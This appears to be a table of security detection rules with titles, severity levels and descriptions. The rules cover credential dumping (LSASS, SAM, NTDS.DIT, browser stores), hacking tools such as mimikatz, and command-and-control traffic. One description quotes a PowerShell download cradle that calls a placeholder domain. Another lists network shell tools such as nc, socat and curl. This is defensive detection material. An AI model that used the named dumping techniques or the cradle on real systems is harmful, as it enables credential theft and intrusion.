Access To Windows DPAPI Master Keys By Uncommon Applications	medium	Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function
Access To Potentially Sensitive Sysvol Files By Uncommon Applications	medium	Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.
Microsoft Teams Sensitive File Access By Uncommon Applications	medium	Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.
Cred Dump Tools Dropped Files	high	Files with well-known filenames (parts of credential dump software or files produced by them) creation
HackTool - CrackMapExec File Indicators	high	Detects file creation events with filename patterns used by CrackMapExec.
HackTool - Typical HiveNightmare SAM File Export	high	Detects files written by the different tools that exploit HiveNightmare
HackTool - Dumpert Process Dumper Default File	critical	Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory
HackTool - Mimikatz Kirbi File Creation	critical	Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.
HackTool - NPPSpy Hacktool Usage	high	Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file
HackTool - QuarksPwDump Dump File	critical	Detects a dump file written by QuarksPwDump password dumper
HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump	high	Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.
HackTool - SafetyKatz Dump Indicator	high	Detects default lsass dump filename generated by SafetyKatz.
LSASS Process Memory Dump Files	high	Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.
LSASS Process Dump Artefact In CrashDumps Folder	high	Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.
WerFault LSASS Process Memory Dump	high	Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials
NTDS.DIT Created	low	Detects creation of a file named "ntds.dit" (Active Directory Database)
NTDS.DIT Creation By Uncommon Parent Process	high	Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory
NTDS.DIT Creation By Uncommon Process	high	Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory
NTDS Exfiltration Filename Patterns	high	Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.
Potential SAM Database Dump	high	Detects the creation of files that look like exports of the local SAM (Security Account Manager)
Suspicious PFX File Creation	medium	A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.
LSASS Process Memory Dump Creation Via Taskmgr.EXE	high	Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.
Suspicious Renamed Comsvcs DLL Loaded By Rundll32	high	Detects rundll32 loading a renamed comsvcs.dll to dump process memory
CredUI.DLL Loaded By Uncommon Process	medium	Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".
Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded	high	Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.
Time Travel Debugging Utility Usage - Image	high	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.
Unsigned Image Loaded Into LSASS Process	medium	Loading unsigned image (DLL, EXE) into LSASS process
Uncommon Outbound Kerberos Connection	medium	Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.
HackTool - Koh Default Named Pipe	critical	Detects creation of default named pipes used by the Koh tool
HackTool - Credential Dumping Tools Named Pipe Created	critical	Detects well-known credential dumping tools execution via specific named pipe creation
Suspicious Get-ADDBAccount Usage	high	Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers
AADInternals PowerShell Cmdlets Execution - PsScript	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Access to Browser Login Data	medium	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.
Powershell Install a DLL in System Directory	high	Uses PowerShell to install/copy a file into a system directory such as "System32" or "SysWOW64"
Create Volume Shadow Copy with Powershell	high	Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information
Dump Credentials from Windows Credential Manager With PowerShell	medium	Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.
Enumerate Credentials from Windows Credential Manager With PowerShell	medium	Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.
Certificate Exported Via PowerShell - ScriptBlock	medium	Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.
Suspicious Get-ADReplAccount	medium	The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
HackTool - Rubeus Execution - ScriptBlock	high	Detects the execution of the hacktool Rubeus using specific command line flags
HackTool - WinPwn Execution - ScriptBlock	high	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock	medium	Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.
Potential Invoke-Mimikatz PowerShell Script	high	Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.
PowerShell Credential Prompt	high	Detects PowerShell calling a credential prompt
Request A Single Ticket via PowerShell	high	utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.
Extracting Information with PowerShell	medium	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
PowerShell Get-Process LSASS in ScriptBlock	high	Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity
Potential Keylogger Activity	medium	Detects PowerShell scripts that contains reference to keystroke capturing functions
Suspicious Connection to Remote Account	low	Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism
Veeam Backup Servers Credential Dumping Script Execution	high	Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.
HackTool - Generic Process Access	high	Detects process access requests from hacktool processes based on their default image name
Lsass Memory Dump via Comsvcs DLL	high	Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.
LSASS Memory Access by Tool With Dump Keyword In Name	high	Detects LSASS process access requests from a source process with the "dump" keyword in its image name.
Potential Credential Dumping Activity Via LSASS	medium	Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.
Credential Dumping Activity By Python Based Tool	high	Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.
Remote LSASS Process Access Through Windows Remote Management	high	Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.
Suspicious LSASS Access Via MalSecLogon	high	Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right.
Potentially Suspicious GrantedAccess Flags On LSASS	medium	Detects process access requests to LSASS process with potentially suspicious access flags
Credential Dumping Attempt Via WerFault	high	Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.
LSASS Access From Potentially White-Listed Processes	high	Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference
Potential Data Stealing Via Chromium Headless Debugging	high	Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control
Browser Started with Remote Debugging	medium	Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks
Process Access via TrolleyExpress Exclusion	high	Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory
New Generic Credentials Added Via Cmdkey.EXE	medium	Detects usage of "cmdkey.exe" to add generic credentials. As an example, this can be used before connecting to an RDP session via command line interface.
Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE	high	Detects usage of cmdkey to look for cached credentials on the system
Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE	high	Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share
VolumeShadowCopy Symlink Creation Via Mklink	high	Shadow Copies storage symbolic link creation using operating systems utilities
Potential Windows Defender AV Bypass Via Dump64.EXE Rename	high	Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder. Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.
Esentutl Gather Credentials	medium	Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.
Copying Sensitive Files with Credential Data	high	Files with well-known filenames (sensitive files with credential data) copying
Findstr GPP Passwords	high	Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.
LSASS Process Reconnaissance Via Findstr.EXE	high	Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID
Permission Misconfiguration Reconnaissance Via Findstr.EXE	medium	Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions.
HackTool - ADCSPwn Execution	high	Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service
HackTool - Certify Execution	high	Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.
HackTool - Certipy Execution	high	Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.
HackTool - CrackMapExec Execution	high	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
HackTool - CrackMapExec Process Patterns	high	Detects suspicious process patterns found in logs when CrackMapExec is used
HackTool - CreateMiniDump Execution	high	Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine
HackTool - Dumpert Process Dumper Execution	critical	Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory
Hacktool Execution - Imphash	critical	Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed
Hacktool Execution - PE Metadata	high	Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed
HackTool - HandleKatz LSASS Dumper Execution	high	Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same
HackTool - Hashcat Password Cracker Execution	high	Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
HackTool - Hydra Password Bruteforce Execution	high	Detects command line parameters used by Hydra password guessing hack tool
HackTool - Inveigh Execution	critical	Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool
HackTool - KrbRelay Execution	high	Detects the use of KrbRelay, a Kerberos relaying tool
HackTool - KrbRelayUp Execution	high	Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced
HackTool - RemoteKrbRelay Execution	high	Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.
HackTool - LaZagne Execution	medium	Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer. LaZagne has been leveraged multiple times by threat actors in order to dump credentials.
HackTool - Mimikatz Execution	high	Detection well-known mimikatz command line arguments
HackTool - Pypykatz Credentials Dumping Activity	high	Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored
HackTool - Quarks PwDump Execution	high	Detects usage of the Quarks PwDump tool via commandline arguments
HackTool - Rubeus Execution	critical	Detects the execution of the hacktool Rubeus via PE information of command line parameters
HackTool - SafetyKatz Execution	critical	Detects the execution of the hacktool SafetyKatz via PE information and default Image name
HackTool - SecurityXploded Execution	critical	Detects the execution of SecurityXploded Tools
HackTool - Windows Credential Editor (WCE) Execution	critical	Detects the use of Windows Credential Editor (WCE)
HackTool - WinPwn Execution	high	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Microsoft IIS Service Account Password Dumped	high	Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords
Microsoft IIS Connection Strings Decryption	high	Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.
Dumping Process via Sqldumper.exe	medium	Detects process dump via legitimate sqldumper.exe binary
Time Travel Debugging Utility Usage	high	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.
Potential Credential Dumping Via LSASS Process Clone	critical	Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity
New Network Trace Capture Started Via Netsh.EXE	medium	Detects the execution of netsh with the "trace" flag in order to start a network capture
Harvesting Of Wifi Credentials Via Netsh.EXE	medium	Detect the harvesting of wifi credentials using netsh.exe
Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)	medium	Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.
Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)	medium	Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)
PktMon.EXE Execution	medium	Detects execution of PktMon, a tool that captures network packets.
AADInternals PowerShell Cmdlets Execution - ProccessCreation	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Certificate Exported Via PowerShell	medium	Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.
PowerShell Get-Process LSASS	high	Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity
PowerShell SAM Copy	high	Detects suspicious PowerShell scripts accessing SAM hives
PUA - DIT Snapshot Viewer	high	Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.
PUA - Mouse Lock Execution	medium	In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.
PUA - WebBrowserPassView Execution	medium	Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera
Process Memory Dump via RdrLeakDiag.EXE	high	Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory
Enumeration for 3rd Party Creds From CLI	medium	Detects processes that query known 3rd party registry keys that holds credentials via commandline
Potential Credential Dumping Attempt Using New NetworkProvider - CLI	high	Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it
Dropping Of Password Filter DLL	medium	Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS
Dumping of Sensitive Hives Via Reg.EXE	high	Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.
Suspicious Reg Add Open Command	medium	Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key
Enumeration for Credentials in Registry	medium	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services
Capture Credentials with Rpcping.exe	medium	Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
Suspicious Key Manager Access	high	Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)
Suspicious NTLM Authentication on the Printer Spooler Service	high	Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service
Process Memory Dump Via Comsvcs.DLL	high	Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)
Potential Suspicious Activity Using SeCEdit	medium	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
Suspicious Serv-U Process Pattern	high	Detects a suspicious process pattern which could be a sign of an exploited Serv-U service
Potential SPN Enumeration Via Setspn.EXE	medium	Detects service principal name (SPN) enumeration used for Kerberoasting
SQLite Chromium Profile Data DB Access	high	Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.
SQLite Firefox Profile Data DB Access	high	Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.
Automated Collection Command Prompt	medium	Once established within a system or network, an adversary may use automated techniques for collecting internal data.
Potential Browser Data Stealing	medium	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities	medium	Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.
Potentially Suspicious JWT Token Search Via CLI	medium	Detects possible search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". This string is used as an anchor to look for the start of the JWT token used by microsoft office and similar apps.
LSASS Dump Keyword In CommandLine	high	Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.
Potential Network Sniffing Activity Using Network Tools	medium	Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Suspicious Process Patterns NTDS.DIT Exfil	high	Detects suspicious process patterns used in NTDS.DIT exfiltration
Private Keys Reconnaissance Via CommandLine Tools	medium	Adversaries may search for private key certificate files on compromised systems for insecurely stored credential
Shadow Copies Creation Using Operating Systems Utilities	medium	Shadow Copies creation using operating systems utilities, possible credential access
Suspicious SYSTEM User Process Creation	high	Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)
Suspicious SYSVOL Domain Group Policy Access	medium	Detects Access to Domain Group Policies stored in SYSVOL
Active Directory Database Snapshot Via ADExplorer	medium	Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database.
Suspicious Active Directory Database Snapshot Via ADExplorer	high	Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory.
Potential LSASS Process Dump Via Procdump	high	Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable.
Potentially Suspicious Command Targeting Teams Sensitive Files	medium	Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.
Windows Credential Manager Access via VaultCmd	medium	List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
Sensitive File Dump Via Wbadmin.EXE	high	Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.
Sensitive File Recovery From Backup Via Wbadmin.EXE	high	Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.
Potential Credential Dumping Via WER	high	Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass
Potential Windows Defender Tampering Via Wmic.EXE	high	Detects potential tampering with Windows Defender settings such as adding exclusion using wmic
Esentutl Volume Shadow Copy Service Keys	high	Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured.
Windows Credential Editor Registry	critical	Detects the use of Windows Credential Editor (WCE)
Potential Credential Dumping Via LSASS SilentProcessExit Technique	critical	Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process
Lsass Full Dump Request Via DumpType Registry Settings	high	Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.
Potential Credential Dumping Attempt Using New NetworkProvider - REG	medium	Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it
NotPetya Ransomware Activity	critical	Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil
APT31 Judgement Panda Activity	critical	Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report
Potential Russian APT Credential Theft Activity	critical	Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike
GALLIUM IOCs	high	Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.
GALLIUM Artefacts - Builtin	high	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.
CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum	critical	Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
CVE-2021-31979 CVE-2021-33771 Exploits	critical	Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
Potential CVE-2021-42278 Exploitation Attempt	medium	The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.
CVE-2023-23397 Exploitation Attempt	critical	Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.
Okta 2023 Breach Indicator Of Compromise	medium	Detects new user account creation or activation with specific names related to the Okta Support System 2023 breach. This rule can be enhanced by filtering out known and legitimate username used in your environnement.
User with Privileges Logon	low	Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
Remote Registry Management Using Reg Utility	medium	Remote registry management using REG utility from non-admin workstation
Okta Password Health Report Query	low	Detects all activities against the endpoint "/reports/password-health/*" which should only be accessed via OKTA Admin Console UI. Use this rule to hunt for potential suspicious requests. Correlate this event with "admin console" login and alert on requests without any corresponding admin console login
Clipboard Data Collection Via Pbpaste	medium	Detects execution of the "pbpaste" utility, which retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. Attackers can abuse this utility in order to collect data from the user clipboard, which may contain passwords or sensitive information. Use this rule to hunt for potential abuse of the utility by looking at the parent process and any potentially suspicious command line content.
Access To Browser Credential Files By Uncommon Applications - Security	low	Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing This rule requires heavy baselining before usage.
Access To Browser Credential Files By Uncommon Applications	low	Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage
Access To Chromium Browsers Sensitive Files By Uncommon Applications	low	Detects file access requests to chromium based browser sensitive files by uncommon processes. Could indicate potential attempt of stealing sensitive information.
Access To Sysvol Policies Share By Uncommon Process	medium	Detects file access requests to the Windows Sysvol Policies Share by uncommon processes
Unattend.XML File Access Attempt	low	Detects attempts to access the "unattend.xml" file, where credentials might be stored. This file is used during the unattended windows install process.
Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process	medium	Detects the load of dbghelp/dbgcore DLL by a potentially uncommon or potentially suspicious process. The Dbghelp and Dbgcore DLLs export functions that allow for the dump of process memory. Tools like ProcessHacker, Task Manager and some attacker tradecraft use the MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Keep in mind that many legitimate Windows processes and services might load the aforementioned DLLs for debugging or other related purposes. Investigate the CommandLine and the Image location of the process loading the DLL.
Potential Credential Dumping Attempt Via PowerShell	medium	Detects a PowerShell process requesting access to "lsass.exe", which can be indicative of potential credential dumping attempts
LSASS Access From Program In Potentially Suspicious Folder	medium	Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder
Uncommon GrantedAccess Flags On LSASS	medium	Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410
Potential Password Reconnaissance Via Findstr.EXE	medium	Detects command line usage of "findstr" to search for the "passwords" keyword in a variety of different languages
EventLog Query Requests By Builtin Utilities	medium	Detect attempts to query the contents of the event log using command line utilities. Attackers use this technique in order to look for sensitive information in the logs such as passwords, usernames, IPs, etc.
Sign-in Failure Bad Password Threshold	high	Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.
Failed Logins with Different Accounts from Single Source - Linux	medium	Detects suspicious failed logins with different user accounts from a single source system
Mimikatz In-Memory	medium	Detects certain DLL loads when Mimikatz gets executed
Stored Credentials in Fake Files	high	Search for accessing of fake files with stored credentials
Dumping ntds.dit remotely via DCSync	medium	ntds.dit retrieving using synchronisation with legitimate domain controller using Directory Replication Service Remote Protocol
Dumping ntds.dit remotely via NetSync	medium	ntds.dit retrieving (only computer accounts) using synchronisation with legit domain controller using Netlogon Remote Protocol
Possible Remote Password Change Through SAMR	medium	Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser(). "Audit User Account Management" in "Advanced Audit Policy Configuration" has to be enabled in your local security policy / GPO to see this events.

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Title	Level	Description
Domestic Kitten FurBall Malware Pattern	high	Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group
CobaltStrike Malleable Amazon Browsing Traffic Profile	high	Detects Malleable Amazon Profile
CobaltStrike Malformed UAs in Malleable Profiles	critical	Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike
CobaltStrike Malleable (OCSP) Profile	high	Detects Malleable (OCSP) Profile with Typo (OSCP) in URL
CobaltStrike Malleable OneDrive Browsing Traffic Profile	high	Detects Malleable OneDrive Profile
Microsoft Binary Github Communication	high	Detects an executable in the Windows folder accessing github.com
Suspicious Non-Browser Network Communication With Reddit API	medium	Detects an a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2
Netcat The Powershell Version - PowerShell Module	medium	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network
GALLIUM Artefacts	high	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.
Suspicious Certutil Command Usage	high	Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code
DNS Tunnel Technique from MuddyWater	critical	Detecting DNS tunnel activity for Muddywater actor
Suspicious File Download Using Office Application	high	Detects the usage of one of three Microsoft office applications (Word, Excel, PowerPoint) to download arbitrary files
Nslookup PwSh Download Cradle	medium	This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Windows Update Client LOLBIN	high	Detects code execution via the Windows Update client (wuauclt)
OpenCanary - Telnet Login Attempt	high	Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
Antivirus Exploitation Framework Detection	critical	Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
Malicious IP Address Sign-In Failure Rate	high	Indicates sign-in from a malicious IP address based on high failure rates.
Malicious IP Address Sign-In Suspicious	high	Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.
Sign-In From Malware Infected IP	high	Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.
Activity from Suspicious IP Addresses	medium	Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.
Activity from Anonymous IP Addresses	medium	Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.
Activity from Infrequent Country	medium	Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.
Okta Security Threat Detected	medium	Detects when an security threat is detected in Okta.
Suspicious C2 Activities	medium	Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)
Remote File Copy	low	Detects the use of tools that copy files from or to remote systems
